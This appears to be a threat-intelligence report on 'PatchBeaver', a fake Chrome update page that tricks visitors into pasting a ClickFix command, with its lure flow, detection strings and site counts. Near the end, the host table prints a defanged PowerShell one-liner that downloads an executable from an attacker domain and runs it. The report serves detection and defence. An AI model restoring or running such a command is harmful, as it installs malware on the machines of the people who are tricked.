PatchBeaver ClickFix kit

PatchBeaver is a fake Chrome update page that turns its verification checkbox into a ClickFix prompt. We have matched it on 2 sites since 10 August.

Research by Kirk

PatchBeaver in numbers

Since 10 August, the first PatchBeaver match in our records, counted on 12 November 2026. How we count.

Sites with PatchBeaver code	2
Sites with a match in the last 30 days	0
New sites in October	0
Still serving it when recaptured at least 25 days later	0 of 0 sites (0%)

A security advisory built around the paste

PatchBeaver is a complete fake Chrome update page. It surrounds the prompt with the Chrome logo, a red "Critical Security Alert", an update button, vulnerability details, security statistics and a FAQ.

The lure borrows a real vulnerability name. Google described CVE-2024-0519 as an out-of-bounds memory access issue in V8 and shipped its fix in Chrome 120.0.6099.224/225 in January 2024 (Chrome Releases). PatchBeaver instead claims the issue affects every Chrome version below 121.0.6167.85.

The full document is hosted as the attack page; its stylesheet and JavaScript are inline.

The update button opens a second lure

The visitor's path has two separate clicks:

"Update Chrome Now" calls openUpdateModal() and opens a panel titled "Security Verification Required".
The visitor clicks a fake "I'm not a robot" box inside that panel.
That checkbox writes the UPDATE_COMMAND value with navigator.clipboard.writeText.
After one second, the spinner disappears and a "Network error" message reveals three steps: Win+R, Ctrl+V and Enter.

The page draws those keys and a Windows Run window in CSS. Pressing Escape closes the modal, while opening it again presents the same fixed command.

The copied command

UPDATE_COMMAND starts PowerShell with a hidden window. It uses Invoke-WebRequest to download an executable to the temporary directory as ChromeSetup.exe, then starts that file with saps.

The value is plain text near the top of the only script block. Recover it directly from saved HTML, without a config request, string decoder or browser fingerprint.

What we see

Month	New sites
September	0
October	0
November so far	0

Of the 0 sites recaptured at least 25 days after their first match, 0 were still serving PatchBeaver (0%).

Checking a page

Search the page source for:

Chrome Security Update Required | Critical Vulnerability Found
openUpdateModal() and the UPDATE_COMMAND constant
recaptchaWidget, recaptchaCheckbox and instructionSteps
the one-second transition from recaptchaLoader to errorMessage
a PowerShell command that writes ChromeSetup.exe under $env:tmp

Search saved page source as well as the rendered page. The modal is hidden until the update button is clicked.

Hosts its commands download from

PatchBeaver lure commands we captured download from 1 host.

Host	Sites	Last seen	Latest command
`panychurasc0[.]com`	1	6 September 2026	Command `iwr \'hxxps://panychurasc0[.]com/ORIGINAL/13.exe\' -OutFile $env:tmp\\ChromeSetup.exe;saps $env:tmp\\ChromeSetup.exe\` URL `hxxps://panychurasc0[.]com/ORIGINAL/13.exe` First seen 6 September 2026, 1 URL on this host.

The ClickFix command tracker lists every host.